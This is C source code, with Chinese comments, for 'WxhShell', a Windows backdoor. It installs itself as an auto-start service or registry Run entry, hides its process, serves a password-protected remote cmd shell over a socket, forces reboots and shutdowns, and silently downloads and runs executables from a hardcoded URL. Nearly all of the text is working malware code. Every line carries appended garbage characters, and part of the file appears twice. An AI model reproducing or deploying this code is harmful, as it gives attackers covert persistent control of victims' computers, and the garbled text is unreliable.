    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7_3 PM 3C  
    if(Boot(SHUTDOWN)) 6?5dGYAX<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (D[~Z!   
    else { fk15O_#3  
    closesocket(wsh); ]6^S: K_"  
    ExitThread(0); =#4>c8MM  
    } TR*vZzoy  
    break; v B~VJKD  
    } o_=4Ex "  
  // 获取shell 6K7lQ!#}Q  
  case 's': { A#']e8  
    CmdShell(wsh); AW \uE[kg  
    closesocket(wsh); +MHIZI  
    ExitThread(0); fz VN;h  
    break; )%p46(]  
  } 5{ +>3J  
  // 退出 s+_8U}R  
  case 'x': { 3%Q<K=jy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^GYVRD  
    CloseIt(wsh); #F3'<(j  
    break; '`gnJX JO  
    } )(.g~Q:  
  // 离开 *qL'WrB1  
  case 'q': { Iw?f1 ]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _I EbRVpb  
    closesocket(wsh); wPYeKOh'  
    WSACleanup(); mHW%^R=  
    exit(1); _7u&.l<;  
    break; ?HOnDw.v1  
        } dtV*CX.D.7  
  } ro?.w  
  } OcpvY~"Pr  
$L|+Z>x  
  // 提示信息 Z= -fL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =^Ws/k  
} #~m^RoE  
  } c*axw%Us  
L{;Q6_m  
  return; ]C+P J:CC  
} 4/\Ynb.L  
l| \ -d  
// shell模块句柄 gyy}-^`F  
int CmdShell(SOCKET sock) 6 3PV R"  
{ #/9Y}2G|]  
STARTUPINFO si;  xi<}n#  
ZeroMemory(&si,sizeof(si)); >}0H5Q8@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UWqX}T[^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #@V<{/;49  
PROCESS_INFORMATION ProcessInfo; \%]lsml  
char cmdline[]="cmd"; dF! B5(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c9nv=?/}f  
  return 0; OFcP4hDi  
} %@aC5^Ovy+  
M $EHx[*5  
// 自身启动模式 Xa"I  
int StartFromService(void) |yj0Rv  
{ 9&kPcFX B  
typedef struct A'u]z\&%c  
{  C !v%6[  
  DWORD ExitStatus; \Q|,0`  
  DWORD PebBaseAddress; !xg10N}I  
  DWORD AffinityMask; qM Qu!%o  
  DWORD BasePriority; 0Nk!.gY  
  ULONG UniqueProcessId; m^RO*n.  
  ULONG InheritedFromUniqueProcessId; 7;6'=0(  
}   PROCESS_BASIC_INFORMATION; z^/9YzA!6  
a>Aq/=  
PROCNTQSIP NtQueryInformationProcess; J*%IvRg  
LZ(K{+U/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K1;b4Sl?A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BOdlz#&s  
'['x'G50  
  HANDLE             hProcess; I~ mu'T  
  PROCESS_BASIC_INFORMATION pbi; [%Z{Mp'g  
2>CR]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CqX*.j{  
  if(NULL == hInst ) return 0; )C0I y.N-  
I&&;a.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Oq}7q!H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~xJr|_,gp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j(pe6  
mgq4g  
  if (!NtQueryInformationProcess) return 0; (enOj0  
e+ m(g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xoq -  
  if(!hProcess) return 0; ?jbx7')  
urL@SeV+$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F+D e"^As  
R=iwp%c(  
  CloseHandle(hProcess); NXS$w{^  
 z_(4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x97L>>|  
if(hProcess==NULL) return 0; f$?`50D"1  
cw_B^f8^  
HMODULE hMod; 5RF*c,cNq  
char procName[255]; 6OtNWbB  
unsigned long cbNeeded; 2c*}1 _  
R3#| *)q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .F\[AD 5  
7PO]\X^(zE  
  CloseHandle(hProcess); kFfNDM#D  
x|Ms2.!  
if(strstr(procName,"services")) return 1; // 以服务启动 A(+V{1 L'  
!<h-2YF<M  
  return 0; // 注册表启动 ')WS :\J  
} B+c,3@)x  
S} &1_I  
// 主模块 {Q^ -  
int StartWxhshell(LPSTR lpCmdLine) )~w bu2;  
{ b: I0Zv6  
  SOCKET wsl; R@IwmJxX  
BOOL val=TRUE; LZJFp@  
  int port=0; lvR>%I0`*  
  struct sockaddr_in door; E7<l^/<2S+  
EgOiJH  
  if(wscfg.ws_autoins) Install(); ogdgLTi  
2Fbg"de3-  
port=atoi(lpCmdLine); 7?uIl9Vk>(  
8b25D|8l  
if(port<=0) port=wscfg.ws_port; $o ;48uV^  
J[\8:qE  
  WSADATA data; h,MaF<~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^jk-GRD*  
fV!~SX6S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d @b ]/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,Mn`kL<F  
  door.sin_family = AF_INET; ]1q`N7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1E$^ul-v  
  door.sin_port = htons(port); }~v0o# I  
AFWWGz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J2!)%mF$  
closesocket(wsl); aM\Ph&c7e'  
return 1; VexQ ]  
} #*"I?B/fd8  
80LN(0?x  
  if(listen(wsl,2) == INVALID_SOCKET) { C]krJse@  
closesocket(wsl); 9*(uJA  
return 1; fTi5Ej*/?)  
} =BeJ.8$@VC  
  Wxhshell(wsl); Fw%S%*B8g  
  WSACleanup(); 'D^@e0.3  
Tqx  
return 0; r <$"T  
b Kr73S9  
} p '=XW#2 >  
~@D{&7@  
// 以NT服务方式启动 Nbt.y 'd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /)V8X#,  
{ *>jJ<8!  
DWORD   status = 0; |1m2h]];Q  
  DWORD   specificError = 0xfffffff; TcH7!fUj  
Qt=OiKZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @KU^B_{i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .:Zb~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X7)B)r}AG  
  serviceStatus.dwWin32ExitCode     = 0; -'j|U[&N\  
  serviceStatus.dwServiceSpecificExitCode = 0; H|<Zm:.%$  
  serviceStatus.dwCheckPoint       = 0; I=7 YAm[W  
  serviceStatus.dwWaitHint       = 0; awOH50R  
Wtp;se@#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (6i. >%|_  
  if (hServiceStatusHandle==0) return; *YP;HL  
Y".4."NX  
status = GetLastError(); B{7hRk.5!  
  if (status!=NO_ERROR) et@<MU@ `  
{ 4l_~-Peh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; le~p2l#e   
    serviceStatus.dwCheckPoint       = 0; N[sJ5oF  
    serviceStatus.dwWaitHint       = 0; p u[S  
    serviceStatus.dwWin32ExitCode     = status; evz@c)8  
    serviceStatus.dwServiceSpecificExitCode = specificError; yzyK$WN\[3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eJ60@N\A  
    return; N"zm  
  } =dY!-#yg!  
B5!|L)7>{p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e^orqw/I  
  serviceStatus.dwCheckPoint       = 0; dEPLkv  
  serviceStatus.dwWaitHint       = 0; 0!q@b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ed$w5dv  
} r!/<%\S  
jL:GP}I=  
// 处理NT服务事件,比如:启动、停止 8]xYE19=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c6MMI]+8  
{ Eb9n6Fg  
switch(fdwControl) nc.:Wm6Mj  
{ 4 Xe8j55  
case SERVICE_CONTROL_STOP: ria.MCe\!  
  serviceStatus.dwWin32ExitCode = 0; h|OWtf4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F<Ig(Wl#az  
  serviceStatus.dwCheckPoint   = 0; y`J8hawp  
  serviceStatus.dwWaitHint     = 0;  OF O,5  
  { FR6 PY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1i@a? 27|  
  } yMJ(Sf  
  return; axz.[L_elB  
case SERVICE_CONTROL_PAUSE: ;.3 {}.Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .T#}3C/  
  break; ) RNB;K~s9  
case SERVICE_CONTROL_CONTINUE: n {..Q,z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }z-6,i)'k  
  break; H}g p`YW:4  
case SERVICE_CONTROL_INTERROGATE: wx_j)Wij6  
  break; pg{cZ1/  
}; ` pfRY!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F[]6U/g n  
} W:O p\  
5.QY{ +k  
// 标准应用程序主函数 t@q==VHF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W>&!~9H  
{ ZNJ<@K-  
eZ{Ce.lNR  
// 获取操作系统版本 S%jFH4#  
OsIsNt=GetOsVer(); =4gPoS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z[0tM&pv  
W6V((84(O  
  // 从命令行安装 ogJ *  
  if(strpbrk(lpCmdLine,"iI")) Install(); D+{& zo  
-x-EU#.G  
  // 下载执行文件 C@u}tH )  
if(wscfg.ws_downexe) { b;5 M$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -@.FnFa  
  WinExec(wscfg.ws_filenam,SW_HIDE); r`Dm;@JU  
} $f+cd8j?o  
,>Dpt <  
if(!OsIsNt) { jOm7:+H  
// 如果时win9x,隐藏进程并且设置为注册表启动 */4hFD {  
HideProc(); WG +]  
StartWxhshell(lpCmdLine); u@t~*E5BpM  
} Cng_*\=O  
else Ezr q2/~Q  
  if(StartFromService()) Tt4Q|"CJA  
  // 以服务方式启动 d '\ ^S}  
  StartServiceCtrlDispatcher(DispatchTable); &ju.5v|  
else $.4N@=s,?c  
  // 普通方式启动 o $'K}U  
  StartWxhshell(lpCmdLine); BDLJDyf B  
gy xC)br  
return 0; ,h<x Y>  
} 3Pvz57z{  
1 ]ePU8  
`> +:38  
MeV*]*   
=========================================== yQf(/Uxk*x  
V!NRBXg  
rp|A88Q/!  
r 5t{I2  
I]BhkJ  
@76I8r5l  
" W)8Pq9Hnv  
w+a5/i@  
#include <stdio.h> WJMmt XO  
#include <string.h> IkO [R1K  
#include <windows.h> tJmy}.t1  
#include <winsock2.h> '*^9'=  
#include <winsvc.h> 15OzO.Ud  
#include <urlmon.h> Lcf?VV}  
f,ZJFb98  
#pragma comment (lib, "Ws2_32.lib") N#XC%66qy!  
#pragma comment (lib, "urlmon.lib") #qv!1$}2  
%evtIU<h  
#define MAX_USER   100 // 最大客户端连接数 wN^^_  
#define BUF_SOCK   200 // sock buffer AQ,"):ofvT  
#define KEY_BUFF   255 // 输入 buffer 3*\hGt,ZP  
_9q byhS7  
#define REBOOT     0   // 重启 ~(B%E'  
#define SHUTDOWN   1   // 关机 6cD3(//  
;#mm_*L%@  
#define DEF_PORT   5000 // 监听端口 ~+V$0Q;L  
5K-,k^T}  
#define REG_LEN     16   // 注册表键长度 \S&OAe/b  
#define SVC_LEN     80   // NT服务名长度 sL ;;'S&  
HTMg{_r(%  
// 从dll定义API piqh7u3~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _>;{+XRX[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;Sg,$`]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oTx>oM,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p<?lF   
Y0J:c?,  
// wxhshell配置信息 0A-yQzL|  
struct WSCFG { +KWO`WR  
  int ws_port;         // 监听端口 u%Mo.<PI  
  char ws_passstr[REG_LEN]; // 口令 ^bfU>02Q6p  
  int ws_autoins;       // 安装标记, 1=yes 0=no k'+y  
  char ws_regname[REG_LEN]; // 注册表键名 e+:X%a4\  
  char ws_svcname[REG_LEN]; // 服务名 -yb7s2o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ydj*Jy'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b80&${v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rBi6AM/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R%q:].  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [:q J1^UU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s^4wn:*$zd  
-]{ _^  
}; g3^:)$m  
=e0MEV#s.  
// default Wxhshell configuration p=#/H ,2  
struct WSCFG wscfg={DEF_PORT, S)W?W}*R\  
    "xuhuanlingzhe", 9W_mSum  
    1, =sefT@<  
    "Wxhshell", "] Uj _d  
    "Wxhshell", 3<N2ehi?  
            "WxhShell Service", [>\e@ =  
    "Wrsky Windows CmdShell Service", ~4O3~Y_+GN  
    "Please Input Your Password: ",  R0F [  
  1, _a|g >  
  "http://www.wrsky.com/wxhshell.exe", D>ou,  
  "Wxhshell.exe" Fy!s$!\C0  
    }; ~ 4Mz:h^  
w=: c7Y+  
// 消息定义模块 7/_|/4&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0>D*d'xLd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bj0<A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FP7N^HVBG=  
char *msg_ws_ext="\n\rExit."; 6@3v+Vf'  
char *msg_ws_end="\n\rQuit."; *uP;rUY  
char *msg_ws_boot="\n\rReboot..."; vu}U2 0@  
char *msg_ws_poff="\n\rShutdown..."; o?~27   
char *msg_ws_down="\n\rSave to "; m7Ry FnR2  
mG\9Qkom|  
char *msg_ws_err="\n\rErr!"; ( ]0F3@k#s  
char *msg_ws_ok="\n\rOK!"; Evqy e;  
[+#k+*1*o  
char ExeFile[MAX_PATH]; 9 C{Xpu  
int nUser = 0; l0qHoM,1Y[  
HANDLE handles[MAX_USER]; G`&P|xYg  
int OsIsNt; xDSiTp=)O  
1vCp<D9<  
SERVICE_STATUS       serviceStatus; (~! @Uz5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R/Sm  
TiZ MY:^  
// 函数声明 zf5%|7o  
int Install(void); ZtP/|P5@  
int Uninstall(void); 7}~nQl2  
int DownloadFile(char *sURL, SOCKET wsh); DT6 BFx  
int Boot(int flag); *UJB *r  
void HideProc(void); Z![#Uz.z  
int GetOsVer(void); 3,{;wJ Z  
int Wxhshell(SOCKET wsl); NS+uiy  
void TalkWithClient(void *cs); eI|~neh  
int CmdShell(SOCKET sock); {!{T,_ J  
int StartFromService(void); D62'bFB^  
int StartWxhshell(LPSTR lpCmdLine); EG8z&^O x  
?Iaqbt%2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wLt0Fq6QG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LUz`P6  
,'l.u?SKyd  
// 数据结构和表定义 N "eK9>  
SERVICE_TABLE_ENTRY DispatchTable[] = YYkgm:[  
{ @wP.Rd  
{wscfg.ws_svcname, NTServiceMain}, irjHPuhcG  
{NULL, NULL} ]#q$i[Y  
}; ^BI&-bR@  
@:!%Z`  
// 自我安装 F0r5$Pl*  
int Install(void) F%{z E ANm  
{ p{SIGpbR&  
  char svExeFile[MAX_PATH]; v{\~>1J{  
  HKEY key; y6s/S.  
  strcpy(svExeFile,ExeFile); QEx&AT  
TFhYu  
// 如果是win9x系统,修改注册表设为自启动 W>P:EI1  
if(!OsIsNt) { +yHzp   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =aehhs>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W^3'9nYU  
  RegCloseKey(key); 1'B=JyR~K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u/\Ipk/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U2JxzHXZ  
  RegCloseKey(key); 5=4-IO6W[]  
  return 0; ~i}/  
    } xrJ0  
  } rj5)b:c}  
} lw4#C`bx  
else { >>=v`}  
a1weTn*  
// 如果是NT以上系统,安装为系统服务 QkO4Td<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `R$bx 64  
if (schSCManager!=0) 8}^ym^H|j  
{ ZPY84)A_}  
  SC_HANDLE schService = CreateService 27H4en; o=  
  ( ['0^gN$:e  
  schSCManager, 9x9E+DG#(  
  wscfg.ws_svcname, B#4 J![BX  
  wscfg.ws_svcdisp, q?&JS  
  SERVICE_ALL_ACCESS, I]ol[ X0S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lx~mn~;x  
  SERVICE_AUTO_START, .>( qZEF  
  SERVICE_ERROR_NORMAL, 'wTJX>  
  svExeFile, lHPhZ(Z  
  NULL, a3(f\MM xE  
  NULL, KhbbGdmfS$  
  NULL, ?T_hK  
  NULL, DAd$u1  
  NULL (8j@+J   
  ); 7jF2m'(  
  if (schService!=0) :SpPT  
  { SCMZ-^b  
  CloseServiceHandle(schService); gr$H?|n l  
  CloseServiceHandle(schSCManager); e9?y0vT//  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E}=F   
  strcat(svExeFile,wscfg.ws_svcname); k+cHx799  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gJBk&SDgtP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i{/nHrN  
  RegCloseKey(key); QgX[?2  
  return 0; k\M">K0E  
    } ' 9  
  } .DHRPel  
  CloseServiceHandle(schSCManager); <3Hu(Jx<O  
} GpM_ Qp  
} T?FR@. Rm  
/d-7n|#E  
return 1; 6T~xjAuJ3T  
} -^7n+ QX  
M3 $MgsN:  
// 自我卸载 bpe WK&  
int Uninstall(void) aG\B?pn-  
{ _u`W$EG L  
  HKEY key; GQ9g$&T  
K&noA  
if(!OsIsNt) { Bhrp"l +|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _/!IjB:(70  
  RegDeleteValue(key,wscfg.ws_regname); Fc<+N0M{  
  RegCloseKey(key); g@lAk%V4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FeFH_  
  RegDeleteValue(key,wscfg.ws_regname); 0qV!-i  
  RegCloseKey(key); -gV'z5  
  return 0; r yO\$m  
  } `W8dayZt  
} 3J}bI {3  
} Ofg-gCF8  
else { b fsTeW+  
cv["Ps#;`W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wy$9QN  
if (schSCManager!=0) U{o0Posg  
{ I.\fhNxHY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >2~q{e  
  if (schService!=0) ZWSYh>"  
  { ^1S(6'a#  
  if(DeleteService(schService)!=0) { u#Qd `@p  
  CloseServiceHandle(schService); PQ|kE`'  
  CloseServiceHandle(schSCManager); :_Y@,CpIEg  
  return 0; kGMI ?  
  } m>'sM1s  
  CloseServiceHandle(schService); ]J C}il_b  
  } T)]5k3{  
  CloseServiceHandle(schSCManager); gX34'<Z  
} l M5Xw  
} ND7 gxt-B  
-[4Xg!apO  
return 1; *O|Z[>  
} nj~1y ')  
Qe=!'u.nL  
// 从指定url下载文件 D`LcL|nmH  
int DownloadFile(char *sURL, SOCKET wsh) ?*a:f"vQ  
{ J]~LmSh  
  HRESULT hr; @ Sw[+`  
char seps[]= "/"; &V[m{.  
char *token; .Kr?vD^nG  
char *file; \&J7>vu^y  
char myURL[MAX_PATH]; )G0a72  
char myFILE[MAX_PATH]; *S_eYKSl  
E3y"  
strcpy(myURL,sURL); &CFHH"OsT  
  token=strtok(myURL,seps);  tQB+_q z  
  while(token!=NULL) Y0=qn'`.  
  { d$/BF&n  
    file=token; "8aw=3A  
  token=strtok(NULL,seps); nW3`Z1kq})  
  } Q uy5H  
=m=`|Bn  
GetCurrentDirectory(MAX_PATH,myFILE); pIk&NI  
strcat(myFILE, "\\"); b/ h,qv  
strcat(myFILE, file); S,EXc^A7  
  send(wsh,myFILE,strlen(myFILE),0); Q_xE:#!;  
send(wsh,"...",3,0); n3-u.Fb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TGGeTtk=  
  if(hr==S_OK) pm,&kE  
return 0; X~GnK>R  
else k`6T% [D]  
return 1; E% Ce/n  
a%7ju4CVj  
} dy;Ue5  
)Fk%, H-1  
// 系统电源模块  z@^l1)m  
int Boot(int flag) cOth q87:  
{ *;8tj5du  
  HANDLE hToken; ' D+h_*H  
  TOKEN_PRIVILEGES tkp; $ckX H,l_  
5V4Ze;K  
  if(OsIsNt) { ?h"+q8&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J{Ei+@^/9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5b R;R{:x  
    tkp.PrivilegeCount = 1; &xMR{:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v{^_3 ]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \zw0*;&U  
if(flag==REBOOT) { u[dR*o0'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }9 N, +*  
  return 0; ! R?r)G5E  
} o-Pa3L=  
else { L"A,7@:Vd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W)ihk\E  
  return 0; ?2_Oa%M  
} kMAQHpDD  
  }  pI|Lt  
  else { 7R[4XQ%  
if(flag==REBOOT) { ehl) {Dd^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kG/:fP  
  return 0; LCx{7bN1ro  
} j<>E Fd  
else { d76k1-m\o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Uc%(#I]Mi  
  return 0; YwyP+S r\  
} ^&buX_nlO  
} :jB~rhZ~  
eTem RNz  
return 1; :2iNw>z1  
} 7T9m@  
m.e+S,i  
// win9x进程隐藏模块 VliX'.-  
void HideProc(void) z %{Z  
{ 5drc8_fZ  
?pn<lW8d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AM  cHR=/  
  if ( hKernel != NULL ) =/Pmi_  
  { AVf'"~?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YyEW}2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PnkJ Wl<S  
    FreeLibrary(hKernel); EITA[Ba B`  
  } (? j $n?p  
IV*@}~BJ  
return; f#mBMdj  
} P1KXvc}JGe  
qpzzk9ba[  
// 获取操作系统版本 C4wJSQl_I  
int GetOsVer(void) 2u9O+]EP  
{ !=%0  
  OSVERSIONINFO winfo; s+IU%y/9$a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gv)F`uRWA  
  GetVersionEx(&winfo); z-};.!L^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `2N&{(  
  return 1; eD5:0;X2  
  else (1pI#H"f9  
  return 0; YuufgPE*H  
} .,Q j3  
{p3VHd#  
// 客户端句柄模块 -7jP'l=h  
int Wxhshell(SOCKET wsl) n.9k<  
{ |^!#x Tj  
  SOCKET wsh; s+#|j;V<  
  struct sockaddr_in client; #m>Rt~(,S  
  DWORD myID; }xhat,9  
&%J+d"n(  
  while(nUser<MAX_USER) YdsY2  
{ !;Hi9,<#7g  
  int nSize=sizeof(client); 1K(a=o[Ce  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kg@D?VqJP  
  if(wsh==INVALID_SOCKET) return 1; i>=d7'oR  
0LI:R'P+P[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WKVoqp}  
if(handles[nUser]==0) (EZ34,k'S  
  closesocket(wsh); b-Fv vA  
else +Smt8O<N  
  nUser++; jC_7cAsl  
  } Xxl>,QUA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |GmV1hN  
?Q$LIoR  
  return 0; [s1Hd~$  
} 7\.Ax  
Y# <38+Gd  
// 关闭 socket 1-z*'Ghys  
void CloseIt(SOCKET wsh) L|sWSrqd  
{ 7lP3\7wD@9  
closesocket(wsh); NF?FEUoxz  
nUser--; r 5$(  
ExitThread(0); $`nKq4Y   
} 5f54E|vD  
|. bp  
// 客户端请求句柄 = mn jIp  
void TalkWithClient(void *cs) 6k#H>zY,  
{ doR'E=Z4h  
, N :'Z  
  SOCKET wsh=(SOCKET)cs; 7ko7)"N  
  char pwd[SVC_LEN]; 1[k~*QS  
  char cmd[KEY_BUFF]; o?G^=0T  
char chr[1]; eYL7G-3  
int i,j; ++KY+j.^  
IB wqu w+  
  while (nUser < MAX_USER) { -25#Vh  
eO,  
if(wscfg.ws_passstr) { kndP?#> p1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y^dVNC3vd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M mg#Vy~  
  //ZeroMemory(pwd,KEY_BUFF); Q9K+k*?{N  
      i=0; _/[n/"gn  
  while(i<SVC_LEN) { y)3(  
}9C5U>?  
  // 设置超时 9X&Xs/B  
  fd_set FdRead; ^H+j;K{5,  
  struct timeval TimeOut; uTJi }4cw  
  FD_ZERO(&FdRead); oeXNb4; 4  
  FD_SET(wsh,&FdRead); hp(n;(OR  
  TimeOut.tv_sec=8; <!,q:[ee5  
  TimeOut.tv_usec=0; /,v:!*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z(< E %  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PF.sM(  
D} 0>x~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,8uu,,c  
  pwd=chr[0]; F~d !Ub$>  
  if(chr[0]==0xd || chr[0]==0xa) { @"9y\1u  
  pwd=0; a73b/_zZ=  
  break; U]sU b3  
  } ~QdwoeaD  
  i++; Pi?*rr5WZ  
    } whNRUOK:  
~4}m'#!  
  // 如果是非法用户,关闭 socket :0T]p"y4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3Gn2@`GC  
} F dv&kK!  
nGW wXySq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y tGH>0}h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Oz5I  
6o;lTOes  
while(1) { zi>f436-  
|iM*}Ix-  
  ZeroMemory(cmd,KEY_BUFF);  v )7d  
C>68$wd>  
      // 自动支持客户端 telnet标准   |ry;'[*  
  j=0; @7lZ{jV$  
  while(j<KEY_BUFF) { N 5/TV%u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @YwaOc_%  
  cmd[j]=chr[0]; ZJ=C[s!wu  
  if(chr[0]==0xa || chr[0]==0xd) { ]^ O<WD  
  cmd[j]=0; GWE`'V  
  break; `ss]\46>  
  } *7*g! km  
  j++; bT{P1nUu  
    } =As'vt 0  
{bETHPCf  
  // 下载文件 U}A+jJ  
  if(strstr(cmd,"http://")) { 9:~,TH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tW=0AtZl]  
  if(DownloadFile(cmd,wsh)) 1}jE?{V*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 30H:x@='9  
  else L0&!Qct  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); La9@h"  
  } W)4xO>ck*3  
